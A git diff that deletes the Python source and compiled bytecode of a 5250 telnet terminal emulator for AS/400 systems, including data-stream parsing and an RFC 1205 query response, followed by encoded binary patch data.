just use the byte read as the - # field attribute - attr = ffw0 - # We then parse the length of the field by using the next - # to bytes. Shifting the first byte and using logical or - # of the next byte will obtain us the length of the field - fLength = ((ord(self.dataStream[self.pos + 1]) & 0xff) \ - << 8) | (ord(self.dataStream[self.pos + 2]) \ - & 0xff) - self.pos += 2 - self.screen.addField(attr,fLength,ffw0,ffw1,fcw1,fcw2) - self.msg(' Start of field with \ - ',fLength,ffw0,ffw1,fcw1,fcw2) - else: - byte0 = (ord(self.dataStream[self.pos]) & 0xff) - if self.isAttribute(byte0): - self.screen.setAttr(byte0) - elif byte0 < 64: - self.screen.setChar(byte0) - else: - self.screen.setChar(self.getASCIIChar(byte0)) - if error: - done = 1 - return error - - def processSOH(self): - """ Process start of header information """ - self.pos += 1 - len = ord(self.dataStream[self.pos]) - if len > 0 and len <= 7: - self.pos += 1 - self.dataStream[self.pos] # flag byte 2 - self.pos += 1 - self.dataStream[self.pos] # Reserved - self.pos += 1 - self.dataStream[self.pos] # Resequence fields - # add support for parse error line later - self.pos += 1 - self.dataStream[self.pos] # Error line - byte1 = 0 - if len >= 5 : - self.pos += 1 - byte1 = ord(self.dataStream[self.pos]) - if len >= 6 : - self.pos += 1 - byte1 = ord(self.dataStream[self.pos]) - if len >= 7 : - self.pos += 1 - byte1 = ord(self.dataStream[self.pos]) - return 0 - else: - return 1 - - def isAttribute(self,byte): - """ Check if the byte is an attribute byte or not """ - return (byte & 0xe0) == 0x20; - - def getASCIIChar(self,byte): - return self.codePage.ebcdic2uni(byte) - - def setScreen(self,screen): - self.screen = screen - - def sendAidKey(self,aid): - """ - Send aid key and associated field format data to host - """ - boasp = [] - boasp.append(self.screen.getCurrentRow()) - boasp.append(self.screen.getCurrentCol()) - boasp.append(aid) - self.screen.getFields().readFormatTable(boasp,self.readType,self.codePage) - self.writeGDS(0,3,boasp) - - def writeStructuredField(self): - """ - Write structured field for query message response - """ - length = ((ord(self.dataStream[self.pos + 1]) & 0xff) \ - << 8) | (ord(self.dataStream[self.pos + 2]) \ - & 0xff) - self.pos += 2 - #print length - self.pos += 1 - StartOfHeaderOrder = ord(self.dataStream[self.pos]) - #print StartOfHeaderOrder - self.pos += 1 - queryrequest = ord(self.dataStream[self.pos]) - print queryrequest - self.pos += 1 - ord(self.dataStream[self.pos]) - print 'now lets send query response' - self.sendQueryResponse() - - def sendQueryResponse(self): - """ - The query command is used to obtain information about the capabilities - of the 5250 display. - The Query command must follow an Escape (0x04) and Write Structured - Field command (0xF3). - This section is modeled after the rfc1205 - 5250 Telnet Interface section - 5.3 - """ - abyte = [] - abyte.append(0x00) ## Cursor row column set to 0,0 - abyte.append(0x00) - abyte.append(0x88) ## 0x88 inbound write structure field aid - abyte.append(0x00) ## length of query response - abyte.append(0x3A) ## Set to 58 for normal emulation - abyte.append(0xD9) ## command class - abyte.append(0x70) ## command type query - abyte.append(0x80) ## Flag byte - abyte.append(0x06) ## controller hardware class - abyte.append(0x00) ## 0x0600 - other WSF or another 5250 emulator - abyte.append(0x01) ## Controller Code Level - abyte.append(0x01) - abyte.append(0x00) - abyte.append(0x0) ## 13 - 28 are reserved - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x01) ## device type - 0x01 5250 Emulator - abyte.append(ord(self.codePage.uni2ebcdic('5'))) ## device type character - abyte.append(ord(self.codePage.uni2ebcdic('2'))) - abyte.append(ord(self.codePage.uni2ebcdic('5'))) - abyte.append(ord(self.codePage.uni2ebcdic('1'))) - abyte.append(ord(self.codePage.uni2ebcdic('0'))) - abyte.append(ord(self.codePage.uni2ebcdic('1'))) - abyte.append(ord(self.codePage.uni2ebcdic('1'))) - abyte.append(0x02) ## keyboard id - 0x02 Standard Keyboard - abyte.append(0x00) ## extended keyboard id - abyte.append(0x00) ## reserved - abyte.append(0x00) ## 40 - 43 Display Serial Number - abyte.append(36) - abyte.append(36) - abyte.append(0x00) - abyte.append(0x01) ## Maximum number of display fields - 256 - abyte.append(0x00) ## 0x0100 - abyte.append(0x0) ## 46 - 48 reserved set to 0x00 - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x01) ## 49 - 53 Controller Display Capability - abyte.append(16) - abyte.append(0x0) - abyte.append(0x0) - """ - 53 - Bit 0-2: B'000' - no graphics capability - B'001' - 5292-2 style graphics - Bit 3-7: B '00000' = reserved (it seems for Client access) - """ - abyte.append(0x0) ## 0x0 is normal emulation - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - abyte.append(0x0) - self.writeGDS(0,0,abyte) - -def test(): - """Test program for tnvtlib. - Usage: python tnvtlib.py [-d] ... [host [port]] - Default host is localhost; default port is 23. - """ - import signal - import Screen5250 - debuglevel = 0 - while sys.argv[1:] and sys.argv[1] == '-d': - debuglevel = debuglevel+1 - del sys.argv[1] - host = 'localhost' - if sys.argv[1:]: - host = sys.argv[1] - port = 0 - if sys.argv[2:]: - portstr = sys.argv[2] - try: - port = int(portstr) - except ValueError: - port = socket.getservbyname(portstr, 'tcp') - tn = vt5250() - tn.set_debuglevel(debuglevel) - tn.setScreen(Screen5250.Screen5250()) - tn.open(host, port) - while tn.running: - pass - tn.close() - print 'I am here' - sys.exit - print 'After exit' - - def onSignal(signum, stackFrame): - """ - Let's capture the signals and close connections - so we do not get zombie processes. - """ - tn.close() - -if __name__ == '__main__': - test() diff --git a/as400/vt5250.pyc b/as400/vt5250.pyc deleted file mode 100644 index cab4f428623d8f561129b52c8b0706bde141024d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 24595 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 